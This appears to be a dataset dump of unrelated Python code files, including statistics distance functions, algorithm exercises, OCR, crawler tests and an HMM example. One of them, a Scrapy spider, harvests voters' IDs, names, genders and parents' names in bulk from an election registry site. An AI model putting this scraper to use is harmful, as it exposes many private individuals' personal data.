space.\n I.e\n\n .. math::\n\n d(x,y) = \\\\| Wx - Wy \\\\|\n \"\"\"\n\n def __init__(self, measures_to_use='all'):\n super().__init__(measures_to_use)\n self._whitening_transformation_matrix = None\n\n def _dict_to_to_vect(self, x):\n return sp.asarray([x[key] for key in self.measures_to_use])\n\n def _calculate_whitening_transformation_matrix(self, sample_from_prior):\n samples_vec = sp.asarray([self._dict_to_to_vect(x)\n for x in sample_from_prior])\n # samples_vec is an array of shape nr_samples x nr_features\n means = samples_vec.mean(axis=0)\n centered = samples_vec - means\n covariance = centered.T.dot(centered)\n w, v = la.eigh(covariance)\n self._whitening_transformation_matrix = (\n v.dot(sp.diag(1. / sp.sqrt(w))).dot(v.T))\n\n def initialize(self,\n t: int,\n sample_from_prior: List[dict]):\n super().initialize(t, sample_from_prior)\n self._calculate_whitening_transformation_matrix(sample_from_prior)\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n x_vec, x_0_vec = self._dict_to_to_vect(x), self._dict_to_to_vect(x_0)\n distance = la.norm(\n self._whitening_transformation_matrix.dot(x_vec - x_0_vec), 2)\n return distance\n\n\nclass RangeEstimatorDistanceFunction(DistanceFunctionWithMeasureList):\n \"\"\"\n Abstract base class for distance functions which estimate is based on a\n range.\n\n It defines the two template methods ``lower`` and ``upper``.\n\n Hence\n\n .. math::\n\n d(x, y) = \\\n \\\\sum_{i \\\\in \\\\text{measures}} \\\\left | \\\\frac{x_i - y_i}{u_i - l_i}\\\n \\\\right |\n\n where :math:`l_i` and :math:`u_i` are the lower and upper\n margin for measure :math:`i`.\n \"\"\"\n\n @staticmethod\n def lower(parameter_list: List[float]):\n \"\"\"\n Calculate the lower margin form a list of parameter values.\n\n Parameters\n ----------\n parameter_list: List[float]\n List of values of a parameter.\n\n Returns\n -------\n\n lower_margin: float\n The lower margin of the range calculated from these parameters\n \"\"\"\n\n @staticmethod\n def upper(parameter_list: List[float]):\n \"\"\"\n Calculate the upper margin form a list of parameter values.\n\n Parameters\n ----------\n parameter_list: List[float]\n List of values of a parameter.\n\n Returns\n -------\n\n upper_margin: float\n The upper margin of the range calculated from these parameters\n \"\"\"\n\n def __init__(self, measures_to_use='all'):\n super().__init__(measures_to_use)\n self.normalization = None\n\n def get_config(self):\n config = super().get_config()\n config[\"normalization\"] = self.normalization\n return config\n\n def _calculate_normalization(self, sample_from_prior):\n measures = {name: [] for name in self.measures_to_use}\n for sample in sample_from_prior:\n for measure in self.measures_to_use:\n measures[measure].append(sample[measure])\n self.normalization = {measure:\n self.upper(measures[measure])\n - self.lower(measures[measure])\n for measure in self.measures_to_use}\n\n def initialize(self,\n t: int,\n sample_from_prior: List[dict]):\n super().initialize(t, sample_from_prior)\n self._calculate_normalization(sample_from_prior)\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n distance = sum(abs((x[key] - x_0[key]) / self.normalization[key])\n for key in self.measures_to_use)\n return distance\n\n\nclass MinMaxDistanceFunction(RangeEstimatorDistanceFunction):\n \"\"\"\n Calculate upper and lower margins as max and min of the parameters.\n This works surprisingly well for normalization in simple cases\n \"\"\"\n\n @staticmethod\n def upper(parameter_list):\n return max(parameter_list)\n\n @staticmethod\n def lower(parameter_list):\n return min(parameter_list)\n\n\nclass PercentileDistanceFunction(RangeEstimatorDistanceFunction):\n \"\"\"\n Calculate normalization 20% and 80% from percentiles as lower\n and upper margins\n \"\"\"\n\n PERCENTILE = 20 #: The percentiles\n\n @staticmethod\n def upper(parameter_list):\n return sp.percentile(parameter_list,\n 100 - PercentileDistanceFunction.PERCENTILE)\n\n @staticmethod\n def lower(parameter_list):\n return sp.percentile(parameter_list,\n PercentileDistanceFunction.PERCENTILE)\n\n def get_config(self):\n config = super().get_config()\n config[\"PERCENTILE\"] = self.PERCENTILE\n return config\n\n\nclass AcceptAllDistance(DistanceFunction):\n \"\"\"\n Just a mock distance function which always returns -1.\n So any sample should be accepted for any sane epsilon object.\n\n Can be used for testing.\n \"\"\"\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict) -> float:\n return -1\n\n\nclass IdentityFakeDistance(DistanceFunction):\n \"\"\"\n A fake distance function, which just passes the summary statistics on.\n This class assumes that the model already returns the distance. This can be\n useful in cases where simulating can be stopped early, when during the\n simulation some condition is reached which makes it impossible to accept\n the particle.\n \"\"\"\n\n def __call__(self,\n t: int,\n x: dict,\n x_0: dict):\n return x\n","sub_path":"pyabc/distance_functions/distance_functions.py","file_name":"distance_functions.py","file_ext":"py","file_size_in_byte":24179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"136710646","text":"\"\"\"\n704. Binary Search\n\nGiven an array of integers nums which is sorted in ascending order,\nand an integer target, write a function to search target in nums.\nIf target exists, then return its index. Otherwise, return -1.\n\nYou must write an algorithm with O(log n) runtime complexity.\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def search(self, nums: List[int], target: int) -> int:\n if not nums:\n return -1\n\n low, high = 0, len(nums) - 1\n\n while low <= high:\n mid = int(low + (high - low) / 2)\n\n if nums[mid] == target:\n return mid\n elif nums[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n\n return -1\n\n\nif __name__ == '__main__':\n assert Solution().search([-1, 0, 3, 5, 9, 12], 9)\n","sub_path":"leetcode/Easy/_0704_binary_search.py","file_name":"_0704_binary_search.py","file_ext":"py","file_size_in_byte":826,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"451062338","text":"#!/usr/bin/python3\nfrom io import BytesIO\n\n\ndef hamming_encode(data: list):\n data = data.copy()\n x = 1\n while x <= len(data):\n data.insert(x - 1, 0)\n x *= 2\n x = 1\n while x <= len(data):\n s = 0\n for i in range(x - 1, len(data), x * 2):\n for j in range(i, i + x):\n if j < len(data):\n s += data[j]\n data[x - 1] = s % 2\n x *= 2\n return data\n\n\ndef converter(filein: BytesIO, fileout: BytesIO):\n while True:\n a = [filein.read(1) for i in range(2)]\n if not a[0] or not a[1]:\n break\n a = [[int(i) for i in bin(int.from_bytes(i, 'big'))[2:].rjust(8, '0')] for i in a]\n b = [hamming_encode(i) for i in a]\n b = [b[0][:8], b[0][8:] + b[1][:4], b[1][4:]]\n b = [int(''.join(map(str, i)), 2) for i in b]\n for i in b:\n fileout.write(i.to_bytes(1, 'big'))\n","sub_path":"suka/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"295650432","text":"import numpy as np\nimport cv2 as cv\n\ndef ocr_hand_written_digit(base_path):\n img = cv.imread(base_path + 'digits.png')\n gray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\n\n # Now we split the image to 5000 cells, each 20x20 size\n cells = [np.hsplit(row, 100) for row in np.vsplit(gray, 50)]\n\n # Make it into a Numpy array. It size will be (50,100,20,20)\n x = np.array(cells)\n # print(x.shape)\n train = x[:,:50].reshape(-1, 400).astype(np.float32) # Size = (2500,400)\n test = x[:, 50:100].reshape(-1, 400).astype(np.float32)\n\n k = np.arange(10)\n train_labels = np.repeat(k, 250)[:, np.newaxis]\n test_labels = train_labels.copy()\n\n knn = cv.ml.KNearest_create()\n knn.train(train, cv.ml.ROW_SAMPLE, train_labels)\n ret, result, neighbours, dist = knn.findNearest(test, 5)\n\n # Now we check the accuracy of classification\n # For that, compare the result with test_labels and check which are wrong\n matches = result==test_labels\n correct = np.count_nonzero(matches)\n accuracy = correct*100.0/result.size\n print( accuracy )\n\ndef ocr_english_alphabets(base_path):\n # Load the data, converters convert the letter to a number\n data= np.loadtxt(base_path + 'letter-recognition.data', dtype= 'float32', delimiter = ',',\n converters= {0: lambda ch: ord(ch)-ord('A')})\n # split the data to two, 10000 each for train and test\n train, test = np.vsplit(data, 2)\n \n # split trainData and testData to features and responses\n responses, train = np.hsplit(train, [1])\n labels, test = np.hsplit(test, [1])\n\n knn = cv.ml.KNearest_create()\n knn.train(train, cv.ml.ROW_SAMPLE, responses)\n ret, result, neighbours, dist = knn.findNearest(test, 5)\n\n correct = np.count_nonzero(result == labels)\n accuracy = correct*100.0/10000\n print(accuracy)\n\nif __name__ == '__main__':\n base_path = 'opencv/data/'\n # ocr_hand_written_digit(base_path)\n ocr_english_alphabets(base_path)","sub_path":"opencv/study/7MLInOpenCV/2OCRwithkNN.py","file_name":"2OCRwithkNN.py","file_ext":"py","file_size_in_byte":1971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"84826263","text":"# -*- coding: utf-8 -*-\nimport json\nimport scrapy\nfrom election.items import *\n\nclass ElectionSpider(scrapy.Spider):\n name = \"election\"\n allowed_domains = [\"202.166.205.141\"]\n\n start_urls = ['http://202.166.205.141/bbvrs/index.php']\n\n def parse(self, response):\n for option in response.css('select[name=district] > option'):\n value = option.css('::attr(value)').extract_first()\n name = option.css('::text').extract_first()\n if value != \"\":\n voter = VoterItem(district_id=value, district_name=name)\n yield scrapy.FormRequest(\n url=\"http://202.166.205.141/bbvrs/index_process.php\",\n formdata={'district': value, 'list_type':'vdc'},\n callback=self.parse_municipalities,\n meta={'voter': voter},\n dont_filter=True)\n\n def parse_municipalities(self, response):\n voter = response.meta['voter']\n json_data = json.loads(response.text)\n selector = scrapy.Selector(text=json_data['result'], type=\"html\")\n for option in selector.css('option'):\n value = option.css('::attr(value)').extract_first()\n name = option.css('::text').extract_first()\n if value != \"\":\n voter['vdc_id'] = value\n voter['vdc_name'] = name\n yield scrapy.FormRequest(\n url=\"http://202.166.205.141/bbvrs/index_process.php\",\n formdata={'vdc': value, 'list_type': 'ward'},\n callback=self.parse_wards,\n meta={'voter': voter},\n dont_filter=True)\n\n def parse_wards(self, response):\n voter = response.meta['voter']\n json_data = json.loads(response.text)\n selector = scrapy.Selector(text=json_data['result'], type=\"html\")\n for option in selector.css('option'):\n value = option.css('::attr(value)').extract_first()\n name = option.css('::text').extract_first()\n if value != \"\":\n voter['ward_id'] = value\n voter['ward_name'] = name\n yield scrapy.FormRequest(\n url=\"http://202.166.205.141/bbvrs/index_process.php\",\n formdata={'vdc': voter['vdc_id'], 'ward': value, 'list_type': 'reg_centre'},\n callback=self.parse_election_centers,\n meta={'voter': voter},\n dont_filter=True)\n\n def parse_election_centers(self, response):\n voter = response.meta['voter']\n json_data = json.loads(response.text)\n selector = scrapy.Selector(text=json_data['result'], type=\"html\")\n for option in selector.css('option'):\n value = option.css('::attr(value)').extract_first()\n name = option.css('::text').extract_first()\n if value != \"\":\n voter['election_center_id'] = value\n voter['election_center_name'] = name\n yield scrapy.FormRequest(\n url=\"http://202.166.205.141/bbvrs/view_ward.php\",\n formdata={'district': voter['district_id'], 'vdc_mun': voter['vdc_id'], 'ward': voter['ward_id'], 'reg_centre': value},\n callback=self.parse_voters,\n meta={'voter': voter},\n dont_filter=True)\n\n def parse_voters(self, response):\n voter = response.meta['voter']\n for row in response.css('table#tbl_data tbody > tr'):\n voter['id'] = row.css('td:nth-child(2) ::text').extract_first()\n voter['name'] = row.css('td:nth-child(3) ::text').extract_first()\n voter['gender'] = row.css('td:nth-child(4) ::text').extract_first()\n voter['father_name'] = row.css('td:nth-child(5) ::text').extract_first()\n voter['mother_name'] = row.css('td:nth-child(6) ::text').extract_first()\n\n yield voter","sub_path":"election/spiders/election.py","file_name":"election.py","file_ext":"py","file_size_in_byte":3960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"337545835","text":"# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n # def detectCycle(self, head):\n # \"\"\"\n # :type head: ListNode\n # :rtype: bool\n # \"\"\"\n \n # visited = []\n \n # while head is not None:\n # if head in visited:\n # return head\n # visited.append(head)\n # head = head.next\n # return None\n \n def detectCycle(self, head):\n if head == None:\n return None\n \n one_step = head\n two_step = head\n\n while one_step.next and two_step.next and two_step.next.next:\n one_step = one_step.next\n two_step = two_step.next.next\n\n if one_step is two_step:\n # faster and slower pointers meet\n while head.next and one_step.next:\n if head is one_step:\n return one_step\n \n head = head.next\n one_step = one_step.next\n\n return None\n\n\nif __name__ == \"__main__\":\n test_head = ListNode(3)\n test_head.next = ListNode(2)\n test_head.next.next = ListNode(0)\n test_head.next.next.next = ListNode(-4)\n test_head.next.next.next.next = test_head.next\n\n solu = Solution()\n print(solu.detectCycle(test_head))","sub_path":"codes/MartinMa28/python3/0142_linked_list_cycle_2.py","file_name":"0142_linked_list_cycle_2.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"392288270","text":"from Class import *\nfrom MethodJS import *\nfrom MemberJS import *\n\nclass ClassJS(Class):\n def __init__(self):\n super(ClassJS, self).__init__();\n\n def setName(self, name):\n super(ClassJS, self).setName(name);\n self.setConstructor(name,\"\");\n\n def addMethod(self, name, params, returnType,body, static):\n self.methods.append(MethodJS(name,params,returnType,body, static));\n\n def addMember(self, name, type, static):\n self.members.append(MemberJS(name,type, static));\n if(not static):\n self.addMethod(str(\"get\" + name.title()),\"\",type, \"\\treturn this.\"+name+\";\\n\", False);\n self.addMethod(str(\"set\" + name.title()),str(name + \":\" + type),\"\", \"\\tthis.\"+name+ \"=\"+name+\";\\n\", False);\n\n def setConstructor(self, name, params):\n self.constructor = MethodJS(name,params,\"\",\"\", False);\n\n def toString(self):\n\n # Constructor\n constructorBody = \"\";\n\n if self.parent!=None:\n\n # Constructor's parameters\n paramSTR = \"\";\n for p in self.parent.constructor.params:\n paramSTR += p.toString() + \",\";\n\n paramSTR = paramSTR[:-1]\n\n constructorBody += \"// TODO complete parent constructor call\\n\";\n #constructorBody += \"\\t\" + self.parent.name + \".call(this,\" + paramSTR + \");\\n\";\n\n # Members\n for m in self.members:\n if(not m.static):\n constructorBody += \" this.\" + m.name + \" = null;\\n\";\n\n self.constructor.setBody(constructorBody);\n\n\n string = \"// Class definition goes here.\\n\";\n string += \"var \" + self.constructor.toString() + \"\\n\\n\";\n\n if self.parent!=None:\n string += self.name + \".prototype = new \" + self.parent.name +\"();\\n\";\n string += self.name + \".prototype.constructor = \" + self.name +\";\\n\\n\";\n\n\n # Class Members\n for m in self.members:\n if(m.static):\n string += self.name+ \".\" + m.name + \" = null;\\n\";\n\n string += \"\\n\";\n\n # Methods\n for m in self.methods:\n string += \"// Method definition goes here.\\n\";\n if(m.static):\n string += self.name + \".\" + m.toString()+\"\\n\\n\";\n else:\n string += self.name + \".prototype.\" + m.toString()+\"\\n\\n\";\n\n return string;\n","sub_path":"src/ClassJS.py","file_name":"ClassJS.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"415644035","text":"\n# coding: utf-8\n\n# In[ ]:\n\n# Task 1\nfrom datetime import datetime\n\nclass Wine:\n \n def __init__(self, name, trade_mark, country, bottling_date, note):\n \"\"\"\n Инициализация вина. В качестве атрибутов выступают следуюшие:\n name - назвае вина\n trade_mark - торговая марка\n country - страна\n bottling_date - дата розлива в формате \"DD/MM/YY\"\n note - примечание\n \"\"\"\n \n \n \n self.name = name\n self.trade_mark = trade_mark\n self.country = country\n self.bottling_date = datetime.strptime(bottling_date, \"%d/%m/%y\")\n self.note = note\n \n def info(self):\n \"\"\"\n Вывод информации по конкретному вину:\n name - назвае вина\n trade_mark - торговая марка\n country - страна\n bottling_date - дата розлива в формате \"DD/MM/YY\"\n note - примечание\n \"\"\"\n \n\n return(self.name,self.trade_mark,self.country, \n datetime.strftime(self.bottling_date, \"%d/%m/%y\"), self.note)\n \n \n def exposure(self):\n \"\"\"\n Расчет выдержки вина в годах (расчет выдержки на текущую дату)\n \"\"\"\n\n today = datetime.today()\n return (today.year - self.bottling_date.year -\n ((today.month, today.day) < (self.bottling_date.month, self.bottling_date.day)))\n\n","sub_path":"Lecture_05/Task #L5.1.py","file_name":"Task #L5.1.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"218342117","text":"import discord\nfrom discord.ext import commands\nfrom discord.ext import tasks\n\nimport asyncio\nimport aiohttp\nfrom bs4 import BeautifulSoup\nimport re\nfrom datetime import datetime\n\nfrom utils import notifications\nfrom utils import misc\nimport json\n\nclass FitNews(commands.Cog):\n def __init__(self, client):\n self.client = client\n self.url = 'https://fit.ba/news'\n self.get_notifications()\n\n async def fetch(self, session, url):\n async with session.get(url) as response:\n return await response.text()\n\n async def main(self):\n print(\"Scraping FIT News...\")\n\n try:\n async with aiohttp.ClientSession() as session:\n html = await self.fetch(session, self.url)\n response = BeautifulSoup(html, \"html.parser\")\n news = response.select(\"li.media\")\n \n notifications_list = []\n for new in news:\n link = 'https://fit.ba/' + new.find(\"a\", {\"class\": \"cover\"}).get(\"href\")\n meta = new.find(\"small\").text\n date = re.search(r'\\d{2}.\\d{2}.\\d{4}', meta)\n time = re.search(r'\\d{2}:\\d{2}', meta)\n author = meta.split() \n\n notifications_list.append(\n notifications.DLWMS_Notification(\n link, \"\", date.group() + \" \" + time.group(), \"\", author[1] + \" \" + author[2], \"\"\n )\n )\n\n last_notification_json = {}\n \n with open(\".\\\\last_notification_fit_news.json\", \"r\", encoding=\"utf-8\") as jsonDataFile:\n last_notification_json = json.load(jsonDataFile)\n\n last_notification = notifications.DLWMS_Notification(\n last_notification_json[\"link\"],\n last_notification_json[\"title\"],\n last_notification_json[\"date\"],\n last_notification_json[\"subject\"],\n last_notification_json[\"author\"],\n last_notification_json[\"content\"]\n )\n\n lastSent = last_notification\n notifications_list.reverse()\n\n for notification in notifications_list or []:\n if notification > last_notification and notification.link != last_notification.link:\n channel = self.client.get_channel(misc.getChannelID(self.client, \"logger\"))\n if channel is not None:\n await channel.send(notification.link)\n lastSent = notification\n\n if lastSent != last_notification:\n with open(\".\\\\last_notification_fit_news.json\", \"w\", encoding=\"utf-8\") as jsonDataFile:\n json.dump(lastSent.__dict__, jsonDataFile, indent = 4)\n \n except Exception as err:\n print(\"Error: \" + str(err))\n \n \n\n @tasks.loop(minutes = 1)\n async def send_notifications(self):\n await self.main()\n \n def cog_unload(self):\n self.send_notifications.cancel()\n \n\n def get_notifications(self):\n try:\n self.send_notifications.start()\n \n except Exception as err:\n print(str(err))\n self.get_notifications()\n\n @send_notifications.before_loop\n async def before_send_notifications(self):\n print('Scraper - Fit News: Waiting...')\n await self.client.wait_until_ready()\n\ndef setup(client):\n client.add_cog(FitNews(client))","sub_path":"cogs/fitnews.py","file_name":"fitnews.py","file_ext":"py","file_size_in_byte":3495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"537841763","text":"import unittest\nimport os\nfrom mock import Mock\nfrom mock import MagicMock\nfrom crawler.crawler import Crawler\nfrom bs4 import BeautifulSoup\n\nclass TestingCrawler(unittest.TestCase):\n\n def setUp(self):\n self.database_writer = MagicMock()\n self.database_reader = MagicMock()\n self.parser = MagicMock()\n self.database_reader.get_weburls_table_size = MagicMock(return_value=50)\n self.database_reader.get_weburls_and_content_table_size = MagicMock(return_value=10)\n self.database_reader.get_next_url = MagicMock(return_value = None)\n self.database_writer.database_limit = 10\n self.crawler = Crawler(self.database_writer, self.database_reader, self.parser)\n self.local_index_html_file = \"file://\" + os.path.abspath(\"test/website/index.html\")\n self.crawler.crawl(self.local_index_html_file)\n\n def get_test_soup(self):\n test_soup = BeautifulSoup('\\n\\n\\n\\n Cats and Dogs \\n \\n \\nDogsCats', 'html.parser')\n return test_soup\n\n def test_crawler_is_instance_of_Crawler(self):\n self.assertIsInstance(self.crawler, Crawler)\n\n def test_crawl_calls_database_writer_write_url(self):\n self.database_writer.write_url = MagicMock()\n self.crawler.crawl(self.local_index_html_file)\n self.database_writer.write_url.assert_called_once_with(self.local_index_html_file)\n\n def test_crawl_accepts_and_assigns_url(self):\n self.assertEqual(self.crawler.url, self.local_index_html_file)\n\n\n def test_return_all_content_calls_database_writer_write_urls_and_content(self):\n self.crawler.database_writer.write_urls_and_content = MagicMock()\n self.crawler.return_all_content()\n self.crawler.database_writer.write_urls_and_content.assert_called_once()\n\n def test_return_all_content_calls_crawl_next_url(self):\n self.crawler.crawl_next_url = MagicMock()\n self.crawler.return_all_content()\n self.crawler.crawl_next_url.assert_called_once()\n\n def test_return_all_content_calls_parser_create_soup_and_save_content(self):\n self.crawler.page = bytes()\n self.crawler.save_found_weburls = MagicMock()\n self.parser.create_soup_and_save_content = MagicMock()\n self.crawler.return_all_content()\n self.parser.create_soup_and_save_content.assert_called_once()\n\n def test_save_found_weburls_calls_database_writer_prepare_urls_for_writing_to_db(self):\n self.database_writer.prepare_urls_for_writing_to_db = MagicMock()\n self.crawler.save_found_weburls()\n test_urls_array = [\"www.dogs.com\", \"www.cats.com\"]\n self.database_writer.prepare_urls_for_writing_to_db.assert_called_once()\n\n def test_crawl_next_url_calls_database_reader_get_next_url(self):\n self.crawler.crawl_next_url()\n self.database_reader.get_next_url.assert_called()\n","sub_path":"test/crawler_tests.py","file_name":"crawler_tests.py","file_ext":"py","file_size_in_byte":3071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"122844431","text":"from collections import deque\n\nclass UnionFind:\n def __init__(self, size):\n self.parent = list(range(size))\n self.height = [0] * size\n self.size = [1] * size\n self.componentCount = size\n\n def root(self, index):\n if self.parent[index] == index: # 根の場合\n return index\n rootIndex = self.root(self.parent[index]) # 葉の場合親の根を取得\n self.parent[index] = rootIndex # 親の付け直し\n return rootIndex\n\n def union(self, index1, index2): # 結合\n root1 = self.root(index1)\n root2 = self.root(index2)\n\n if root1 == root2: # 連結されている場合\n return\n\n self.componentCount -= 1 # 連結成分を減らす\n\n if self.height[root1] < self.height[root2]:\n self.parent[root1] = root2 # root2に結合\n self.size[root2] += self.size[root1]\n else:\n self.parent[root2] = root1 # root1に結合\n self.size[root1] += self.size[root2]\n if self.height[root1] == self.height[root2]:\n self.height[root1] += 1\n return\n\n def isSameRoot(self, index1, index2):\n return self.root(index1) == self.root(index2)\n\n def sizeOfSameRoot(self, index):\n return self.size[self.root(index)]\n\nH, W = map(int, input().split())\nC = tuple(map(int, input().split()))\nD = tuple(map(int, input().split()))\nS = [input() for _ in range(H)]\n\ndef cord(h, w):\n return h * W + w\n\ntree = UnionFind(H * W + 100)\n\nfor h in range(H):\n for w in range(W):\n if S[h][w] == '#':\n continue\n\n for dh, dw in ((-1, 0), (1, 0), (0, -1), (0, 1)):\n toH, toW = h + dh, w + dw\n\n if 0 <= toH < H and 0 <= toW < W and S[toH][toW] == '.':\n tree.union(cord(h, w), cord(toH, toW))\n\nroots = [tree.root(i) for i in range(H * W)]\nM = max(roots) + 1\nedges = [set() for _ in range(M)]\n\ndef search(h, w):\n for dh in range(-2, 3):\n for dw in range(-2, 3):\n toH, toW = h + dh, w + dw\n if 0 <= toH < H and 0 <= toW < W and S[toH][toW] == '.':\n if roots[cord(h, w)] == roots[cord(toH, toW)]:\n continue\n edges[roots[cord(h, w)]].add(roots[cord(toH, toW)])\n\nfor h in range(H):\n for w in range(W):\n if S[h][w] == '#':\n continue\n search(h, w)\n\nedges = [list(e) for e in edges]\n\nS = roots[cord(C[0] - 1, C[1] - 1)]\nT = roots[cord(D[0] - 1, D[1] - 1)]\n\nINF = 10**18\nque = deque([(S, 0)])\nminDist = [INF] * M\nminDist[S] = 0\n\nwhile que:\n now, dist = que.popleft()\n\n for to in edges[now]:\n if minDist[to] > dist + 1:\n minDist[to] = dist + 1\n que.append((to, dist + 1))\n\nprint(minDist[T] if minDist[T] < INF else -1)\n","sub_path":"AtCoder/abc/176d.py","file_name":"176d.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"153135154","text":"'''\n@Author: zhaoyang.liang\n@Github: https://github.com/LzyRapx\n@Date: 2020-01-19 22:45:13\n'''\nclass Solution:\n def isMonotonic(self, A: List[int]) -> bool:\n if len(A) == 1:\n return True\n inc = 0\n des = 0\n for i in range(len(A) - 1):\n if A[i] == A[i + 1]: continue\n if A[i] > A[i + 1]:\n des = 1\n else:\n inc = 1\n if inc == des == 1:\n return False\n return True","sub_path":"LeetCode/Easy/896.py","file_name":"896.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"392934327","text":"import socket\nimport sys\nimport struct\nimport array\nimport time\nimport random\nimport numpy as np\n\nclass Environment:\n def __init__(self, env_name):\n self.env_name = env_name\n self.sendConn = 0 # socket 发送端对象\n self.send_and_recv_host = 'localhost'\n self.sendPort = 50000\n self.recvConn = 0 # socket 接收数据的对象\n self.recvPort = 50001\n\n self.current_state = [0,0,0]\n\n # 创建socket服务\n def create_sockets_server(self):\n\n # 创建发送端socket服务\n sockets_server_send = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sockets_server_send.bind((self.send_and_recv_host, self.sendPort))\n print('bind server port success')\n\n sockets_server_send.listen(1)\n print(\"Wait 20 seconds for a response from client to server {} \".format (self.sendPort))\n sockets_server_send.settimeout(20)\n \n try:\n self.sendConn, addr = sockets_server_send.accept()\n except socket.timeout:\n print(\"connection timeout\")\n sys.exit()\n print(\"Server connnection success ! Address :{} , port :{}\".format(addr, self.sendPort))\n\n # 创建接收端socket服务\n sockets_server_recv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sockets_server_recv.bind((self.send_and_recv_host, self.recvPort))\n print(\"The receiver port binding success\")\n \n sockets_server_recv.listen(1)\n self.recvConn, addr = sockets_server_recv.accept()\n print(\"receiving connect success!Address :{} ,port :{}\".format(addr, self.recvPort))\n\n # 发送动作值simulink\n def _send_action(self, action):\n action = struct.pack(\"I\", action)\n self.sendConn.sendall(action)\n\n # 接收来自simulink的状态信息\n def _receive_state(self):\n data = self.recvConn.recv(2048)\n data = array.array('d', data)\n # 将返回的多次state信息求平均\n data = np.array(data).reshape(-1,3)\n print(data.shape[0])\n return list(data.mean(axis=0))\n\n # 计算奖励值\n def _calculate_reward(self):\n T1, Tmix, Treturn = self.current_state[0],self.current_state[1],self.current_state[2]\n room_goal = 22 # 房间一的标准温度\n room_LL = 15 # lower limit\n room_UL = 29 # Upper limit\n Tmix_LL = 15 # Lower limit\n Tmix_UL = 44 # Upper limit\n\n distance = abs(room_goal - T1)\n if distance > 7 or Tmix < Tmix_LL or Tmix > Tmix_UL:\n reward = -1\n elif 0.5 < distance <= 7:\n reward = (7 - distance) * 0.5\n else:\n reward = 7 - distance\n\n return reward\n\n def step(self, action):\n self._send_action(action)\n time.sleep(0.1)\n env_values = self._receive_state()\n if env_values is not None:\n self.current_state = env_values\n reward = self._calculate_reward()\n done = False\n info = \"normal\"\n return self.current_state, reward, done, info\n\n def reset(self):\n self._send_action(random.randint(0,2))\n time.sleep(0.1)\n env_values = self._receive_state()\n if env_values is not None:\n self.current_state = env_values\n print(\"current state T1: {} ,Tmix: {} ,Treturn: {} \".format(self.current_state[0],self.current_state[1],self.current_state[2]))\n return self.current_state\n \n ","sub_path":"test/test_cartpole/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"612643086","text":"# Local imports\n\n# Global imports\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\n# Set plot params\nplt.rc('font', size=18) # controls default text sizes\nplt.rc('axes', titlesize=18) # fontsize of the axes title\nplt.rc('axes', labelsize=18) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=18) # fontsize of the tick labels\nplt.rc('ytick', labelsize=18) # fontsize of the tick labels\nplt.rc('legend', fontsize=18) # legend fontsize\n\n'''\nA training example based on the \"Occasionally dishonest casino\" example \nfrom chapter 3 of Biological Sequence analysis, focusing on HMMs.\nThe specific example is random tosses of coins, and the task is to find \n - most likely state sequence\n - probability of a certain sequence\n - most probable state for a certain observation\n - estimates for HMM model parameters, in two cases\n * Known state sequence => MLE estimates\n * Unknown state sequence: EM with Baum-Welch\n'''\n\n\ndef casino(N):\n '''\n Generates a sequence lenght N of random contosses, with either a weighted coin or with a fair one. \n Define: Head = h = 0, Tails = t = 0\n '''\n np.random.seed(1)\n \n # Data structures\n coin_seq = np.zeros(N, dtype=int)\n state_seq = np.zeros(N, dtype=int)\n\n # Transition probabilities \n a_lf = 0.1 # p loaded => fair\n a_fl = 0.01 # p fair => loaded\n a = [a_lf, a_fl]\n \n a_0l = 0.3 # p start\n a_0f = 1 - a_0l\n a_0k = [a_0l, a_0f]\n state = np.random.choice(a=[0,1], size=1, p=a_0k)[0] # 0 = loaded, 1 = fair, \n\n # Emission probabilities\n e_fh = 0.5 # p head fair coin\n e_lh = 0.1 # p head loaded coin\n e = [e_lh, e_fh]\n\n for i in range(N):\n # go to new state based on previous state\n transition = np.random.choice([True, False], size=1, p=[a[state], 1-a[state]])[0]\n if transition:\n state = not state\n # emit value \n emission = np.random.choice([0,1], size=1, p=[e[state], 1-e[state]])[0]\n # save emitted value and state\n coin_seq[i] = emission\n state_seq[i] = state\n return coin_seq, state_seq, e, a, a_0k\n\n\ndef viterbi(x, e, a, a_0k):\n ''' \n Given a sequence x, calculate the most probable state sequence pi.\n Perform calculations in log space\n '''\n # Initialization\n pi = np.zeros(len(x))\n v = np.zeros((len(x)+1, 3)) \n # 0 l f\n v[0, :] = [1, 